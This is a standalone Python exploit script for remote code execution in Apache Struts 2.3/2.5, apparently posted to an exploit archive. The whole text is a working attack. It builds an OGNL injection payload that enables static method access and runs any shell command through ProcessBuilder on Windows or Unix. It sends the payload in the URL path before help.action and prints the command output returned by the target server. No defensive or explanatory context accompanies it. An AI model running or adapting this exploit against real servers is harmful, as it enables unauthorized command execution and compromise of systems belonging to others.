Apache Struts 2.3 / 2.5 Remote Code Execution

`#!/usr/bin/python  
# -*- coding: utf-8 -*-  
  
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter  
  
import sys  
import urllib  
import urllib2  
import httplib  
  
  
def exploit(host,cmd):  
print "[Execute]: {}".format(cmd)  
  
ognl_payload = "${"  
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."  
ognl_payload += "(#cmd='{}').".format(cmd)  
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."  
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."  
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."  
ognl_payload += "(#p.redirectErrorStream(true))."  
ognl_payload += "(#process=#p.start())."  
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."  
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."  
ognl_payload += "(#ros.flush())"  
ognl_payload += "}"  
  
if not ":" in host:  
host = "{}:8080".format(host)  
  
# encode the payload  
ognl_payload_encoded = urllib.quote_plus(ognl_payload)  
  
# further encoding  
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))  
  
print "[Url]: {}\n\n\n".format(url)  
  
try:  
request = urllib2.Request(url)  
response = urllib2.urlopen(request).read()  
except httplib.IncompleteRead, e:  
response = e.partial  
print response  
  
  
if len(sys.argv) < 3:  
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])  
else:  
exploit(sys.argv[1],sys.argv[2])  
  
`